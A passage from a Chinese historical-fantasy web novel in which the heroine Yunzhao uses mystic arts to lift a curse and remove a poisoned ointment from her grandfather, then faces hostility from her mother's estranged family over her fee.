强烈的恐惧让她立刻垂下眼帘,连呼吸都放轻了,再不敢多言半句。
姜绾心却倔强地昂着头,强忍着不敢去碰颈间的伤口!
她近来真是倒霉透顶!先是在佛诞日伤了脸险些毁容;之后又莫名中了恶咒,浑身痛痒难耐!若不是母亲设法为她寻来灵药,这几日连床都下不了!
昨夜才与太子缠绵悱恻,到底初经人事,身上酸痛不适,却不想这会儿又被秦王这莽夫伤了脖子!
她越想越委屈,目光触及云昭时更是怒火中烧:“姜云昭!你别得意!”
云昭淡淡瞥她一眼,唇角勾起若有似无的弧度:“听说妹妹的好事也近了。往后若是喜欢什么,大可向你的情郎开口。”
她轻笑一声,语气带着几分玩味,“妹妹虽是庶出,好歹也是姜家的正经小姐,何苦去街上捡这等来路不明的贼赃做首饰?”
话音未落,英国公夫人郑氏与李灼灼已绕过影壁匆匆而入。
李灼灼听得后半句,当即扬声问道:“什么?姜绾心买了贼赃?”
她目光飞快扫过全场,见云昭安然无恙,再看到跌坐在地、脸颊红肿如猪头的姜绾心,顿时忍俊不禁,清脆的笑声打破了院中凝滞的气氛:
“哈哈哈!这是谁下的手?真是大快人心!”
姜绾心羞愤交加,猛地站起身:“李灼灼!你少在这里胡说八道!”
李灼灼笑得前仰后合,指着她的脸道:“可惜我不会作画,否则定要将你这副尊容画下来,挂在城门上让全城人都瞧瞧!”
英国公夫人适时上前,朝萧启、卫临逐一见礼:“殿下,驸马。”
她看向常公公:“常内侍也在?”
常公公笑容可掬地还礼:“国公夫人来得正好,今日姜大姑娘双喜临门,稍后不妨一同去新府邸沾沾喜气。”
郑氏目光在众人身上一转,再看云昭手里的圣旨,便猜到了七八分。
她与苏氏交换了个心照不宣的眼神,顿时喜上眉梢:“这可真是天大的喜事!”
云昭适时开口:“稍后还请常公公与诸位到昭明阁用杯清茶。”
众人说话间,严嬷嬷等人手脚利落地将云昭常用之物收拾妥当。
一行人浩浩荡荡地朝府外走去,将面色各异的姜家众人抛在身后。
姜老夫人眼睁睁看着众人离去,只要一想到云昭即将成为秦王妃,而姜家却可能半点光都沾不上,顿时急得宛如热锅上的蚂蚁。
梅柔卿扶着惊魂未定的女儿,瞧着萧启维护地走在云昭身后的背影,心中又是怨恨又是惶恐。
姜绾心抚着颈间的伤处,对上李灼灼故意扭头做的鬼脸,一时间不敢再贸然开口。
姜老夫人实在不甘心,一路小跑追到大门外,看着众人各自登上马车,还不死心,忙扒着云昭的车窗高声喊道:
“昭儿!我的好昭儿!忙完了就赶紧回府来啊!祖母让小厨房备着你爱吃的菜,等着你回来用晚膳!”
车帘纹丝未动,只传出云昭冷淡的吩咐:“走吧。”
车夫扬鞭策马,车轮辚辚启动,将老夫人那谄媚的呼喊远远抛在身后。
街上看热闹的行人见此情景,纷纷指指点点,嗤笑声不绝于耳:
“啧啧,这太阳打西边出来了?这姜老夫人从前对姜大小姐非打即骂,今日倒一口一个‘好昭儿’了?”
“没瞧见方才秦王殿下和常公公都来了?要我说,姜大小姐这是大喜临门了!”
“堂堂尚书府,行事如此前倨后恭,真是半点风骨都没有!”
而此时坐在马车里的姜世安,对门外的议论浑然不觉。他正沉浸在即将成为秦王岳父的喜悦中,盘算着日后在朝中,该如何借着这层关系,仕途更上一层楼。
另一边,云昭转向身旁依旧有些局促的温氏,温声问道:“三婶离开姜家之后,可有什么打算?”
温氏叹了口气,低声道:“不瞒大姑娘,我和世忠商量着,先带着绾棠回我娘家暂住些时日,再凑些本钱做点小买卖……”
云昭听出她言语间的仓促与窘迫,沉吟道:“三婶若暂无稳妥去处,不如暂且随我往昭明阁居住。我身边正缺得力人手打理庶务。
三婶性子沉稳,处事有度,正是我需要的人。不知三婶可愿前来助我?”
温氏虽性子柔和,但并非愚笨之人,昨夜能当机立断让丈夫去报信,便可见其决断。云昭相信,稍加历练,她定能成为自己的得力臂助。
温氏眼中瞬间闪过难以置信的欣喜,就连依偎在她身旁的绾棠,也急切拽着她的衣袖,小脸上满是期盼。
温氏迟疑道:“这……这会不会太给大姑娘添麻烦了?我们……”
云昭
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笃定道:“我说需要三婶,便是真心相邀。府中初立,百事待兴,正需要像三婶这般细心稳妥又信得过的人。三婶不必推辞,尽管安心住下便是。”
温氏闻言眼圈一红,哽咽着应下:“哎!大姑娘既信得过我,我定当竭尽全力,绝不辜负大姑娘的信任!”
然而车队尚未行至昭明阁,刚走到半路,突然传来一阵骚动——
一匹受惊的马直冲云昭的马车而来!
就在这千钧一发之际,一道玄色身影如疾电般掠过。
萧启低喝一声,宽厚的背脊挡在马车前,玄色衣袂翻飞,单手稳稳抵住受惊的马首,另一只手迅如闪电地扣住马辔,硬生生将疯马制住。
几乎同时,卫临纵身跃至马侧,手法利落地解开鞍鞯,与萧启配合得天衣无缝。
马上的青衫书生被甩落在地,滚了一身尘土。
车厢内一阵剧烈摇晃,坐在温氏腿上的小女儿绾荔撞在车壁上,额角顿时肿起一个大包。温氏心疼地将女儿搂在怀里,连声安抚。
那书生也顾不得狼狈,匆匆朝众人拱手致歉,便连滚带爬地要继续往姜府方向跑去。
“表哥?”云昭一眼认出那从马上跌落、身着竹山书院青衫的少年,正是苏家的其中一位表哥,苏惊墨。
少年闻声踉跄转身,清俊的脸上布满擦痕,青色儒衫下摆撕裂,露出渗血的膝盖。
他快步走近,死死扒住车辕,通红的眼眶里泪水直打转:“云昭!求你救救祖父!”
“外祖父怎么了?”“爹怎么了?”
云昭和苏氏几乎同时开口。
苏惊墨急得语无伦次:“五天前,祖父摔伤了,之后一直不见好!方才突然呕血!云昭,你之前说的灾劫真的应验了!求你救救他!”
云昭当机立断,先对萧启道:“母亲与姜家的和离书不能耽搁,烦请殿下派个可靠之人,陪同前往。”
一旁的驸马卫临立即应声:“姜小姐放心,此事交由我来办。”
云昭又转向常公公:“劳烦公公带上我三婶与国公夫人,先行前往昭明阁安顿,莫要坏了诸位兴致。我带上莺时去苏府一趟。”
常公公闻言神色一肃:“苏老大人乃国之栋梁,杂家这就安排车驾。姑娘放心前去,府上杂家定会照料周全。”
萧启已利落翻身上马,朝云昭伸出手:“我同去。”随即对李副将令道,“带苏公子上马。”
云昭借力跃上马背,萧启将她稳稳护在身前。
李副将一把拉起苏惊墨,一行人策马扬鞭,朝着苏府疾驰而去,在长街上留下一道烟尘。
第116章 你母亲已与苏家断亲
苏府坐落在一条清净的巷弄深处,门庭朴素而雅致,只悬着一块乌木匾额,上书“清芬世守”四个清隽大字,乃是苏老太爷亲笔。
苏惊墨甫一下马,便踉跄着冲上前用力拍响门环。不过几声,那扇略显斑驳的木门便“吱呀”一声从内打开,两位妇人带着几名仆妇迎了出来。
当先一位身着靛蓝色素面杭绸褙子,发间只簪一支素银簪子,面容温婉,眉眼间带着挥之不去的忧色,正是苏惊墨的母亲,二房媳妇王氏。
王氏一见儿子满身尘土、脸颊带伤的模样,心疼得立刻上前:“墨儿!怎么摔成这样!快先进来收拾一下!”
王氏身后半步站着一位身穿藕荷色长裙的妇人,乌发梳得一丝不苟,簪着成套的珍珠头面。她唇角天生微微上翘,似总带着三分笑意,正是苏家长房媳妇林静薇。
那林静薇的目光越过众人,精准地落在云昭脸上,眸中闪过一抹讶异:“这位姑娘是……也太像了!”
此言一出,王氏这才真正将注意力放到云昭身上,仔细看去,也不由得怔住。
云昭步履从容地走上前:“晚辈云昭,特来为府上苏山长诊治。”
王氏闻言,面上浮现一丝迟疑:“云姑娘有心了。只是你年纪尚轻,家翁的病况又颇为复杂……”
“娘!”苏惊墨顾不上礼仪,扯住母亲的衣袖低声快速耳语了几句。
王氏脸色微变,再看向云昭时,目光中已带上了几分不易察觉的期盼与信任。
她侧身让开道路,语气真诚了许多:“既如此,有劳姑娘费心,请随我来。”
林静薇的目光却似不经意般,扫过一直沉默立于云昭身侧的萧启。见他衣着看似寻常,但气度尊贵,龙章凤姿,绝非寻常之辈,她眼底精光一闪,语气亲昵中带着一丝探究:
“惊墨,你这孩子,来了贵客也不给大伯母引见?总不能什么人都往你祖父屋里请,若是冲撞了……”
“放肆!”李副将一步踏前,声如洪钟,毫不客气地打断了林静薇绵里藏针的话语,“此乃当朝秦王殿下!岂容你在此妄加揣测!”
林静薇被这突如其来的厉喝与“秦王”名号骇得脸色一白,方才那恰到好处的笑容瞬间僵在脸上。
云昭与萧启并未过多理会林静薇的刻意刺探,并肩快步踏入苏府。
府内庭院不深,却布局清雅,随处可见修剪得当的翠竹与芭蕉。一行人穿过一道月洞门,很快便来到一处较为僻静的院落,进了正房。
屋内光线有些晦暗,弥漫着浓郁的药味,乌压压挤了不少忧心忡忡的女眷和仆从。
云昭甫一进门,不待她开口,李副将已再度朗声道:“秦王殿下驾到,闲杂人等暂且退避,莫要妨碍贵人!”
屋内众人闻言,皆是悚然一惊,纷纷跪地行礼,又敬畏惶恐地让开一条通路,目光不由自主地汇聚在萧启与云昭身上。
云昭目光迅速扫过室内,眉头微蹙,直接吩咐道:“把帘子都拉开,窗户打开通风。”
一个站在床尾的少女却蹙起细眉,语气透着几分倨傲:“你是何人?祖父需要静养,贸然开窗,若是着了风寒,你担待得起吗?”
这少女正是林静薇之女,名唤苏玉嬛,素以才情自诩。此时见云昭容貌绝俗,又有秦王相伴,心中莫名生出一股敌意。
这一次,不待李副将开口,王氏已抢先一步道:“玉嬛,不得无礼。这是墨儿特意请来为祖父诊治的小医仙,大家且先听医仙的安排。”
她一边说着,一边亲自上前,利落地拉开了厚重的窗帘,又命丫鬟将紧闭的窗户推开。
时值盛夏,窗外正对着一池莲塘,清新荷香随着微风徐徐送入,驱散了部分室内的浊气,令人精神一振。
云昭走到床前,守在榻边的苏老夫人抬头望来,待看清云昭面容的刹那,不由怔住,嘴唇微微颤动。
云昭俯身,细细端详躺在床上的外祖父,玄瞳悄然开启,心头猛地一沉。但见老人印堂处缠绕着一缕若有若无的黑黄秽气,这分明是——
“厌胜之术?”她轻声自语,指尖在袖中掐了个探灵诀。
在玄瞳的视野之中,她看见老人周身的气场被数道无形的灰黑丝线缠绕,这些丝线如蛛网般黏稠,最终都诡异地指向东南方向。
萧启见云昭神色凝重地注视着远方,不由靠近低声询问:“可需要我做什么?”
云昭来京城虽有一段时日,但平日里极少有机会出门闲逛,对城中布局不甚熟悉,此刻她也顾不得客气,凑近萧启耳畔低语:“东南方向,可有什么与山长关系密切的……”
话音未落,她已反应过来,与萧启几乎同时开口:“书院?”“竹山书院!”
云昭眸光一凛,当即喊了声莺时,从随身药箱中取出一枚古旧铜钱。
她将铜钱悬于老人眉心三寸之处,口中念念有词。
只见那铜钱竟无风自动,剧烈震颤起来,发出嗡嗡低鸣——
这正是“断梁咒”的显兆!
此术阴毒,需在房梁之下埋入施咒者的生辰八字与受咒者的贴身之物,借鲁班秘法催动,能令受咒者心神不宁,灾祸频生。
难怪外祖父会无故摔伤,且伤势迟迟不愈!
她问王氏等人:“山长今日可去过书院?”
守在床边的苏老夫人拭泪道:“我原说他腿脚不便,不让他去。可他偏说近日觅得一套珍本《河防通议》,定要亲自去书院藏书楼整理,说要给学子们研习水利之用。”
老人说到此处,又是心疼又是无奈,“他这辈子,心里装的都是书院那些学生……”
云昭心中有数,伸手为苏山长诊脉。指尖才搭上腕脉,便觉脉象虚浮如絮,时断时续,且有一股阴寒之气在经脉中游走,这正是中了厌胜之术的典型脉象!
她轻轻挽起老人的裤腿检查伤势,只见敷着厚厚药膏的伤处周围,皮肉竟呈现不自然的青黑色,触手冰凉刺骨。
更诡异的是,在玄瞳视界下,那药膏上竟缭绕着一缕极淡的死气!
云昭脸色一沉,厉声追问:“这是谁给山长敷的药?!”
一旁候着的王氏连忙答道:“是回春堂的刘大夫。他是我们家用了多年的坐堂大夫,医术一向稳妥。”
云昭眸光锐利如刀:“此人现在何处?”
那苏玉嬛见云昭语气严厉,仿佛在质疑她家信任的大夫,当即蹙起秀眉:
“你这人说话好生无礼!刘大夫是我苏家多年世交,更是祖父的棋友,他的医术在京城都是有口皆碑的,是我娘亲自……”
“玉嬛!”
林静薇开口打断女儿,面上带着恰到好处的忧色,温声道,“云姑娘勿怪,小女也是担忧祖父病情。刘大夫方才开了药,说是去配下一剂了,稍后便回。可是这药……有何不妥?”
萧启命李副将:“派人,去拿这姓刘的大夫。”
云昭则同时吩咐:“莺时,开药箱,取我的金针、**刮板,还有那瓶‘清灵露’。”
她又转向一旁侍立的苏家仆妇,“速去取一盆新汲的井水,要未沾地的‘元初水’。再让人去折几片庭院里最新鲜的芭蕉叶来,要带着晨露的叶心。”
仆妇领命而去,很快便将东西备齐。云昭净手后,先以金针轻刺苏老大人伤口周围的几处穴位,封住气血,防止邪气深入。
云昭取过芭蕉叶覆在伤处上方,指尖在叶面虚画符咒,口中念念有
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词。只见那翠绿的芭蕉叶以肉眼可见的速度迅速萎黄、发黑!
随后,她拿起光滑微凉的**刮板,蘸取少许“清灵露”,手法精准而轻柔地刮除那些颜色已变得青黑粘稠的膏药。
清灵露触及皮肤,发出细微的“滋滋”声,并冒出缕缕不易察觉的黑烟。
一旁的女眷们见这阵仗,有的掩口低呼,有的面露惊惧。
“你这是做什么!”苏玉嬛见云昭竟动手刮掉药膏,忍不住又想开口,却被林静薇一把用力拽住手腕,用严厉的眼神制止了。
云昭恍若未闻,将刮下的膏药迅速甩入旁边盛满“元初水”的铜盆中。
令人毛骨悚然的一幕发生了——
那些膏药遇水并未溶解,反而如同活物般蠕动起来,水面滋滋作响,紧接着,数条细如发丝、通体漆黑的小虫竟从膏药中钻出,在水中疯狂扭动!
“啊——!水、水里有虫子!”一个站在前排、眼尖的少女吓得失声惊呼,连连后退。
“取艾草、烈酒语火折子来!”云昭面不改色,沉声命令,“再拿一个闲置的旧铜盆!”
下人立刻照办。
云昭亲自动手,将那些蠕动的黑虫连同污水一同倒入旧铜盆中,投入大量艾草,泼上烈酒,随即点燃火折子扔了进去。
火焰“轰”的窜起,盆中顿时发出一股令人作呕的焦臭,伴随着细微却尖锐的“吱吱”声,仿佛有什么东西在烈火中哀嚎。
先前那个眼尖的少女捂着口鼻,颤声问:“云、云姑娘,这……这烧的到底是什么邪门东西?”
云昭看着盆中渐熄的火焰,声音清冷地解释道:“此乃‘尸蠊卵’,常混于尸油或久埋棺木的阴土中。
一旦借药力侵入伤口,便会吞噬生机,使伤口溃烂不愈,寻常手段难以察觉,必须以烈酒混合艾草焚烧,方能彻底灭杀。”
众人听得脸色惨白,几个胆小的女眷几乎要晕厥过去。
王氏更是惊骇交加:“刘大夫与我家相交数十载,时常与父亲对弈论道,他……他怎会做出这等事?”
林静薇也附和道:“是啊!他一个坐堂大夫,怎会懂得这等阴邪术法?而且他与我苏家无冤无仇,为何要费尽心机害公爹?”
云昭的目光在林静薇疑惑的脸上刮过,她转而吩咐道:“取纸笔来。”
纸墨备齐,云昭笔走龙蛇,很快写下一道药方,交给惊魂未定的王氏:“按此方抓药,三碗水煎成一碗,早晚各一次。”
女眷中有人好奇问道:“云姑娘,您方才不是用了玄术驱邪,为何还要用药?”
云昭一边净手,一边淡然解释:“邪祟侵体,如同盗贼**。驱邪是赶走盗贼,用药是修补被损坏的门窗,扶助受损的正气。二者并行不悖,方能根除后患。”
那发问的女眷闻言,眼中露出钦佩之色:“您就是京城盛传的那位小医仙,礼部尚书府的姜大姑娘吧?果然名不虚传!”
此言一出,苏家众人脸色顿时变得微妙。
林静薇惊愕道:“你……你竟是**的女儿?”
她目光扫过周遭神色各异的族人,“爹和娘当年说过,**既已嫁入姜家,便与苏家断亲,再无瓜葛。你这孩子今日前来,这份心意我们心领了,只是这……”
王氏闻言,眉头不易察觉地蹙了一下。
云昭神色沉静:“我今日前来,是敬重苏山长为人,特来为他诊治。”她看向王氏,“如今既已事了,还请府上按规矩支付诊金。承惠,三千两。”
“三千两?!”
不止王氏,满屋女眷都倒抽一口冷气。这个数目足以在京城置办一处不小的宅院。
苏玉嬛当即惊道,“你怎么不去抢?!”
第117章 母亲的名,在苏家是禁忌
林静薇美眸闪过一抹轻蔑,声音温婉却字字带刺:“姜小姐,恕我直言,身为女儿家,开口闭口便是黄白之物,未免失之清雅,徒惹人非议。”
她微昂着下巴,言语间透着世家夫人特有的优越感,“我苏家虽非钟鸣鼎食之家,却也是书香传世,最重风骨气节。”
苏玉嬛也道:“堂哥怕是被人蒙蔽了。我看她这般急切索要钱财,怕是山野生活清苦,穷怕了罢?说什么敬佩祖父为人,不过是找个由头来我苏家打秋风罢了。”
苏惊墨刚按照云昭的吩咐处理完铜盆中的灰烬,折返回来听到林静薇母女这番指责,顿时气得脸色涨红:
“大伯母!玉嬛妹妹!今日若非云昭表妹慧眼如炬,识破祖父伤处的诡异,出手驱除邪秽,后果不堪设想!
她是祖父的救命恩人!你们此刻不提感恩,反而在此计较银钱,诋毁恩人,岂非令人心寒?难道我苏家百年清誉,教出的尽是忘恩负义、以怨报德之辈吗?!”
苏玉嬛被堂兄当众驳斥,当即俏脸一沉:“咱们苏家自然是知恩图报的,但也不是任人拿捏的冤大头!她张口就是三千两,这般狮子大开口,分明是趁火**!”
此言一出,云昭尚未开口,萧启的脸色已猛地沉了下来!
一旁李副将声如洪钟,带着沙场磨砺出的悍勇之气:“治病救命,付钱酬谢,天经地义!难不成在诸位清贵人眼里,苏老山长的一条性命,还抵不上这三千两白银?”
他随即转向云昭,抱拳躬身,姿态恭敬无比,声音却愈发洪亮,确保每个字都清晰地砸进众人耳中:“更何况,尔等可知眼前这位是谁?这是我们秦王殿下未来的王妃!”
他故意顿了顿,环视一圈面色各异的苏家众人,才继续道:
“平日里,莫说寻常官宦,便是王公贵族想请王妃看诊断玄,万两黄金一次,那也得看王妃娘娘是否得闲、是否愿意,乖乖排着队等候!
今日王妃念在旧情出手相救,只收区区三千两,已是看在苏老山长德高望重的份上,格外破例了!尔等不知感恩,竟还在此斤斤计较?!”
云昭倒是没想到,这李副将瞧着憨厚鲁直,心思却也如此巧变,当着苏家众人的面,居然将她看诊的身价抬到了令人咋舌的高度!
她心中觉得好笑,不由下意识地侧首,瞬时瞥了身侧的萧启一眼。
却见萧启神色如常,仿佛李副将所言再理所当然不过,只是那深邃的眼底,似乎极快地掠过一丝若有若无的笑意。
“秦王妃?!”
李副将这话如同平地惊雷,在场众人无不骇然变色,看向云昭的眼神瞬间也变了样。
林静薇瞳孔猛地一缩,握着绢帕的手指下意识地收紧,指甲几乎要嵌进掌心。
苏玉嬛则轻咬着唇,目光流连地在萧启身上看了一圈:“这位将军莫不是诓我们的,未曾听说陛下颁布圣旨。”
满京城谁不知道,秦王萧启性情冷冽,不近女色,年逾廿五,尚未婚娶。怎会突然就蹦出个王妃?
萧启连一个眼神都未曾给她,仿佛她只是空气。
李副将嗤笑一声,斩钉截铁:“是真是假,过了今日,尔等自然知晓!”
“我自然可以分文不取,”云昭目光转向林静薇,带着一丝若有若无的讥讽,
“但那是对待自家至亲。方才这位夫人既已明言,我母亲早与苏家义绝,毫无瓜葛,那我今日便是以医者身份,为病患看诊。
正经行医问诊,收取诊金,难道不是天经地义?还是说,苏家自诩清流门第,便觉得谈钱俗不可耐,甚至可以理直气壮地赖掉诊金?
如此行事,还真是令**开眼界。”
她这番话逻辑清晰,掷地有声,一时噎得众人面红耳赤,无言以对。
“够了!”王氏突然开口,对身边的贴身丫鬟吩咐,“去我房里,取三千两银票来。”
她打断还想说话的苏玉嬛,手中紧紧攥着云昭给的药方,目光诚挚地看向云昭,
“今日之事,真要多谢小医仙。若非你慧眼如炬,力排众议,父亲此番凶多吉少。救命之恩,苏家二房,铭记在心。”
当银票交到云昭手中时,她清晰地感受到四面八方投来的各色目光——
有不满,有震惊,也有几分敢怒不敢言的敬畏。
云昭不再多言,只对王氏仔细叮嘱了煎药的火候与服药禁忌,便准备离开。
这时,秦王派出的侍卫匆匆返回,向萧启行礼后禀报:
“殿下,属下等赶往回春堂,未寻见刘大夫。依药堂伙计所指,前往其家中,发现他已人去屋空,只在桌上寻到此物。”
说罢,呈上一枚色泽暗沉、触手冰凉的木牌。
云昭接过来一看,只见木牌纹理奇特,似槐木所制,上面以暗红色的朱砂,写着一行扭曲的小字:梁倾柱朽,文星坠尘;血脉尽断,方解吾恨。
奉命搜查的另一个侍卫补充道:“属下在刘大夫卧房暗格中,还找到一本手札,其中多次提及‘孙儿枉死书院,此仇不共戴天’等语。”
苏家众人闻言大惊失色。
王氏惊疑不定:“刘大夫的孙儿?哪个孙儿?从未听闻他有子嗣啊!”
她下意识地看向在场可能与刘大夫相熟的林静薇,“大嫂,我记得这刘大夫与你算是同乡……”
林静薇眉心紧蹙,脸上流露出无奈之色:“虽是同乡,但毕竟男女有别,年岁又相差甚远,我与他平素并无往来,不过是点头之交。”
她不由看向苏老夫人,“娘,我记得公爹与刘大夫对弈时,常会闲聊。您可曾听他提起过家里的事?”
苏老夫人凝神思索片刻,缓缓道:
“依稀听他提起过,早年确有一子,但在携家眷入京途中,于混乱的流民群里不幸走失,遍寻不着。”
她叹了口气,继续说道,“也正因如此,这些年来,刘大夫每逢春秋两季,都会在竹山书院为贫寒学子义诊,分文不取。
他常说,若他那走失的儿子成了家,生下的孙儿,也该有书院里那些孩子一般大了。
你们祖父怜他一片仁心,又知他清贫不肯收钱,便常让凌风(二房,王氏的丈夫)以书院名义,送些米粮布匹到他家中,聊表心意。”
她抬眼,忧心忡忡地看向云昭:“这人留下的木牌,究竟是何意?可是……还有什么妨害未除?”
云昭并未立刻将“断梁咒”之事和盘托出。苏家人口众多,关系复杂,远非姜家可比。贸然将这等阴私诡谲之事公之于众,只怕会打草惊蛇,徒增变数。
她看着苏老夫人,一时沉默未语。
苏老夫人却误解了云昭的意思,以为她有所保留,是因苏家方才的态度寒了她的心。
便拍了拍身旁一个孙女的手,语气带着一丝补救的意味:“去,再取一千两银票来,给小医仙奉上。”
云昭却摇了摇头,语气疏淡:“老夫人误会了。我并非拿乔,而是苏山长身上牵连之事,内情恐怕颇为复杂。
我目前仅能确定伤口邪物已除,再以药方调理。但此事背后根源尚不明晰,这额外的银钱,我不能收。”
苏老夫人身边那少女好奇地眨着眼,脱口问道:“难道这世上,还有小医仙勘不破的疑难?”
云昭坦然回视,唇角勾起一抹略带自嘲的弧度:
“姑娘高看我了。我是人,不是神。若真是神仙,手指抬落,指谁谁死。何须在此耗费唇舌,与诸位理论这诊金几何?”
她这话说得颇为促狭,带着几分平日里罕见的锐利。
人群里先前那个眼尖的少女忍不住“噗嗤”一声笑了出来。
连李副将和萧启身后一众绷着脸的侍卫,也个个肩膀微抖,强忍笑意。
萧启亦侧目看了云昭一眼,深邃的眼底掠过一丝几不可察的讶异与玩味。
平日里见她,虽言辞机锋,却多是冷静自持,鲜少如此刻这般,带着点辛辣的讥诮。看来这苏家众人的做派,倒是难得地让她露出了真性情。
“银货两讫,此间事了,告辞。”云昭不欲再多纠缠,准备离开。
“姜小姐请留步。”
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林静薇却再次出声,她走上前,脸上挂着恰到好处的忧虑,“虽说诊金已付,但如今公爹情形究竟如何,后续该如何调养,只有姜小姐最清楚。
若是公爹接下来迟迟不醒,或是伤势再有反复……我们这心里,实在难安。”
这是觉着付了三千两白银,就想赖上她了?
云昭脚步一顿,转过身,目光清凌凌地扫过众人:“既然诸位如此在意这三千两诊金的去向,我不妨将账目摊开。”
她示意莺时再次打开药箱:
“我平日出诊,惯用一套特制金针。
但今日为苏山长诊治,因他腿伤处寄生‘尸蠊卵’,阴秽异常,这套金针沾染了邪毒,已是废了,需重新寻能工巧匠订做,所费不赀。”
她指了指药箱中那套隐隐泛着黑气的金针,其精致繁复的工艺,一看便知价值非凡,绝非寻常之物。
她接着道:“方才请贵府取来的井华水、芭蕉叶、艾草、烈酒等物,虽是寻常,但拔除‘尸蠊卵’过程中,我所用的‘清灵露’、画符所需的灵墨朱砂,皆是师门秘制,材料难得。
更遑论,我个人耗费心神、施展玄术诊脉驱邪的辛劳。”
她目光坦然地看着苏家众人:“今日,尸蠊卵我已处置干净,后续调理的药方也已写下。
我能保证的是,苏山长性命无虞,腿上伤势不会恶化,亦不会引发高热邪毒。
至于是否有人对苏山长挟私报复,此事背后是否另有隐情,之后是否还会有其他阴私手段……
抱歉,我只是个医者,职责在于治病救人,查案缉凶、防范未然,不在我的职责范围之内!”
她这番话条分缕析,合情合理,将责任界限划得清清楚楚。苏家众人面面相觑,再也挑不出任何错处。
就连此前一直出言挑衅的苏玉嬛,此刻也讪讪地闭上了嘴。
过了好一会儿,才用柔柔的嗓音带着几分不甘嘀咕了一句:“照这么说来……倒像是我们苏家占了便宜,姜小姐还亏了不成?”
王氏实在看不下去大房母女二人的做派,狠狠瞪了苏玉嬛一眼,快步上前,恳切地拉住云昭的手:
“姜小姐,今日之事,多亏你仗义出手。这三千两诊金,是你应得的,我们绝无异议。
话说开了也好,免得再生误会,玷污了小医仙的清誉。至于刘大夫之事,我们之后自会小心,并派人仔细查探。”
云昭轻轻抽回手,不再多言,转身便走,背影决绝。
苏惊墨早已气得脸色铁青,他再也按捺不住,对着满院子亲人道:
“论血脉亲情,云昭表妹身上流着苏家的血,与我们本是至亲!论道理恩义,她今日登门,是受我之托,救了祖父性命,是我苏家的大恩人!
可你们呢?不信她的医术,不感她的恩情,反而诸多猜忌,言语刻薄!我苏家百年清流门风,何时变得如此凉薄势利,是非不分了?!”
他见众人或低头或侧目,无人回应,又急又愧,重重一跺脚,快步追了出去:“云昭表妹!请留步!”
云昭一行人已行至大门,苏惊墨气喘吁吁地追上前,脸上满是羞愧与诚恳:
“表妹!家中长辈姐妹之言,还请你千万不要往心里去。实在是……实在是姑母之名,这些年在家中被视为禁忌,祖父祖母严令不得提及,以致大家……”
云昭并未接话,只是忽然侧过头,目光锐利地朝身后不远处的一座假山望去。
只见一个丫鬟打扮的身影,在假山后一闪而过,迅速隐没了行迹。
她不动声色地收回视线,看向一脸急切的苏惊墨,语气疏离而决绝:
“苏公子,不必多言。我今日是受你之托而来,如今事情已了,你我之间,银货两讫,情义亦尽。日后,不必再往来了。”
苏惊墨脸上瞬间写满了惊讶与受伤,还想再说些什么,云昭却已抬手,将一物塞回他手中:“还有你之前预付的订金,还你!”
不等苏惊墨反应过来,云昭已决然转身,走向停在不远处的马车。
第118章 渣爹生吞和离书
萧启的手掌自然而然地递到她面前,指节修长,骨节分明,带着习武之人特有的薄茧。
云昭将指尖轻轻搭上,借力登上车辕时,能感受到他掌心传来的温热力道,沉稳而克制。
车帘垂落的刹那,云昭压低嗓音,气息拂过萧启耳畔:“殿下,请移步车内,有要事相商。”
萧启从善如流,与她一同在铺着软垫的坐榻上落座。
两人距离极近,膝头衣料几乎相触,空气中浮动着她身上清洌的草木清气,与他周身凛冽的松柏冷香悄然融合。
云昭摊开掌心。
那是一枚临走前从王氏手中接过的糕饼,不过指腹大小,做工却极精巧。
澄黄的饼面上,以朱砂细致勾勒出一个清晰的“信”字,笔画勾连处,甚至能看出描金痕迹。
“是‘德馨斋’的‘五常饼’。”萧启只瞥一眼便道,“一套五枚,分刻仁、义、礼、智、信。王氏独独挑了这枚‘信’字……”
他眸光微转,与云昭对视,“她信你今日所言,然苏家形势复杂,她无法明言,只能借此示意。”
云昭指尖收拢,声音渐冷:“看来我这外祖家,也是波谲云诡,藏龙卧虎。”
王氏有话不能直说,还要借这小小糕饼言明心意;还有方才在门口,那个一闪而过的丫鬟身影……
云昭不由想起,那日双生子闯入姜家大门,为母亲撑腰的情形。
以今日她在苏家感受到的疏冷与隔阂,苏惊澜和苏惊墨当日之举,必然另有人在背后撑腰。而这个人,今日显然不在府中。
“刘大夫的下落,我已加派人手追查。”萧启视线落在她凝重的侧脸上,“至于书院……晚些时候再去?”
云昭颔首:“先回昭明阁。”
此刻直奔书院目标太大,容易打草惊蛇。
更何况,今日是她获赐昭明阁的大日子,外祖父的性命之忧暂解,于情于理,她都该去亲眼看看那座象征着陛下恩典与自身立身之基的府邸。
“我书房有竹山书院的堪舆图,稍后让福伯送来,你可先行观看揣摩。”
“好。”
对于与秦王的这桩婚事,云昭心中并无太多波澜。
相识不过三月有余,她不信这短短时日能酝酿出多么刻骨铭心的情愫。
但与萧启相处,有一点让她极为称心——
他足够聪明。
与聪明人交谈,省心省力,往往只需一个眼神,半句提点,便能心领神会。
马车行至某处喧闹街口,忽闻车辕被人用硬物“叩叩”敲响。
萧启掀帘望去,只见卫临骑马立于车旁,而后面另一架青帷马车上,苏氏也正掀开车帘望来,眉宇紧蹙,脸色苍白。
云昭心头一紧,知晓京兆府一行必有变故。
然而街市之上,人多眼杂,不便多言,只得暂且按下疑虑,放下车帘。
两行车驾一前一后抵达昭明阁门前。
云昭缓步下车,抬头望去,心头微微一动。
眼前府邸并非巍峨广厦,青瓦粉墙,门庭开阔雅致,匾额上“昭明阁”三字乃陛下亲题,铁画银钩,隐有风骨。
不显山露水,却自有一股清正端方之气,恰合她的心意。
绕过影壁,庭院疏朗,植有几竿翠竹,一座小巧玲珑的假山旁引有活水潺潺,角落一株老梅枝干虬劲,可以想见冬日花开时的清绝景致。
此处虽不阔大,却静僻宜居,一应俱全,正是她眼下最需要的立身之所。
她上前,握住苏氏微凉的手,母女二人相携步入院内。
“昭儿,”苏氏甫一进门便急切地低声问道,眼中满是忧惧,“你外祖父……他老人家究竟如何了?我方才在车上,这心一直悬着……”
云昭轻轻回握母亲的手,语气沉稳而肯定:“母亲放心,外祖父性命无虞。只是毒物伤身,需要好生静养一段时日。我离开时,他已安睡了。”
苏氏闻言,一直紧绷的肩膀终于松懈下来,长长舒了一口气,眼底泛起些许泪光,连连点头:“无事便好,无事便好……真是多亏了我儿,**得一手好医术!”
待母亲情绪稍定,云昭这才问道,“可是父亲临时又反悔了?”
不等苏氏开口,一旁紧随的严嬷嬷已按捺不住,快语道:“姑娘您是没瞧见!幸亏今日驸马爷跟着去了!
